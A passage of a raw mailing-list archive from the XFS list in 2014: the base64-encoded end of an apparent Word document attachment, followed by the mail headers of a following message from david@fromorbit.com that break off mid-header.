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 ------=_Part_98077_896318447.1390253872122-- From david@fromorbit.com Mon Jan 20 16:18:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DA9F57F37 for ; Mon, 20 Jan 2014 16:18:52 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6DE90AC001 for ; Mon, 20 Jan 2014 14:18:49 -0800 (PST) X-ASG-Debug-ID: 1390256327-04bdf030e90f7a0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id aGKusylJNz7WzhX9 for ; Mon, 20 Jan 2014 14:18:48 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Aj4IAFGg3VJ5LKVw/2dsb2JhbABZgwuDObNZhVKBFRd0giUBAQEDATocIxAIAw4KCRoLDwUlAyETh30HxAgXFo4gSQeEOASYIYpPh0qBb4FSKIEt Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 21 Jan 2014 08:48:46 +1030 Received: from dave by dastard 